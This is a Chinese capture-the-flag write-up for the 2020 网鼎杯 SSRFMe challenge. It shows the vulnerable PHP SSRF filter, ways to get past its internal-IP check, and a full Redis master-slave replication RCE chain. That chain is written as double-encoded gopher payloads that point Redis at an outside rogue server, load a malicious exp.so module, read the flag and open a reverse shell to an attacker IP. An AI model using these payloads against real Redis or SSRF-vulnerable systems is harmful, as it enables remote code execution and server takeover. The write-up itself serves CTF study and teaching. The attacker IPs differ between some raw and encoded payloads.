[网鼎杯 2020 玄武组]SSRFMe

步骤

绕过ip限制

代码最后提示说要从本地端访问hint.php,但很明显127.0.0.1被过滤了。

php 复制代码
 <?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url); //正则匹配是否包含https,http,gopher,dict。
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);  //解析url的组成部分
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];  
    $ip=gethostbyname($hostname);    //将域名解析为ip地址
    $int_ip=ip2long($ip);   //将ip转为长整形
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;     //判断是否为内网ip
}

function safe_request_url($url)
{

    if (check_inner_ip($url))  //判断是否为内网ip
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();      //初始化新会话
        curl_setopt($ch, CURLOPT_URL, $url); //设置会话
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);    //执行会话
        $result_info = curl_getinfo($ch);    //获取CURL请求输出的相关信息
        if ($result_info['redirect_url'])    //如果是重定向就重复获取
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }

}
if(isset($_GET['url'])){  //get接收url参数
    $url = $_GET['url'];
    if(!empty($url)){     //判断是否为空
        safe_request_url($url);
    }
}
else{
    highlight_file(__FILE__); //显示源码
}
// Please visit hint.php locally.
?>

目前目的是访问?url=http://127.0.0.1/hint.php。

使用http://0.0.0.0/hint.php绕过检测,或者使用http://\[0:0:0:0:ffff:127.0.0.1\]/hint.php绕过。

这段代码告诉了redis密码为root。

redis主从复制攻击

利用的工具:Testzero-wz/Awsome-Redis-Rogue-Server: Redis-Rogue-Server Implement

n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE

1.攻击机开启主服务器

首先将redis-rogue-server的exp.so文件复制到Awsome-Redis-Rogue-Server中,使用Awsome-Redis-Rogue-Server工具开启主服务,并且恶意so文件指定为exp.so

bash 复制代码
python redis_rogue_server.py -v -path exp.so -lport 21000

2.修改 Redis 持久化文件(如 RDB 快照)的存储目录/设置备份路径

bash 复制代码
gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit

# 经过两次url编码
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

3.设置主从复制关系,数据同步

bash 复制代码
gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof 10.88.14.188 21000
quit

# 经过两次url编码
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520174.1.185.67%252021000%250d%250aquit

这时会有回显

3.加载恶意模块

bash 复制代码
gopher://0.0.0.0:6379/_auth root
module load /tmp/exp.so
quit

gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520/tmp/exp.so%250d%250aquit

4.关闭主从同步

bash 复制代码
gopher://0.0.0.0:6379/_auth root
slaveof NO ONE
quit

gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit

关闭后会显示PONG

5.**导出数据库/**设置备份文件名字

bash 复制代码
gopher://0.0.0.0:6379/_auth root
config set dbfilename dump.rdb
quit

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit

方法一:命令执行获取flag

bash 复制代码
gopher://0.0.0.0:6379/_auth root
system.exec "cat /flag"
quit

gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit

方法二:反弹shell

监听
执行反弹
bash 复制代码
gopher://0.0.0.0:6379/_auth root
system.rev 174.1.185.67 6666
quit

gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.rev%252010.88.14.188%25207777%250d%250aquit
相关推荐
сокол4 小时前
【网安-Web渗透测试-内网渗透】局域网ARP攻击与DNS劫持
服务器·网络·网络安全
pencek4 小时前
Hack-The-Box-Facts
网络安全
Inhand陈工7 小时前
城投公司地面与停车场监控改造实战:映翰通IR302 + GRE隧道实现RFID与视频数据远程汇聚
网络·人工智能·物联网·网络安全·智能路由器·信息与通信
我命由我123457 小时前
Dart - Dart SDK、Hello World 案例、变量声明、常量声明、常量 final、字符串类型
前端·flutter·前端框架·html·web·dart·web app
reikocao10 小时前
内网穿透cpolar
网络安全
曲幽10 小时前
让FastAPI Agent真正记住你:聊聊会话记忆与持久化存储的落地实践
redis·python·postgresql·fastapi·web·chat·async·session·ai agent
_Twink1e10 小时前
基于Vue的纯前端的库存销售系统
前端·vue.js·vue·web
pencek21 小时前
Hack-The-Box-Cap
网络安全
TA远方1 天前
【JavaScript】Promise对象使用方式研究和理解
javascript·编程·脚本·web·js·promise·委托
白鳯1 天前
塔罗神谕:星月神域莱诺薇为您占卜
react·web·three.js·codex·deepseek·vibe coding·塔罗占卜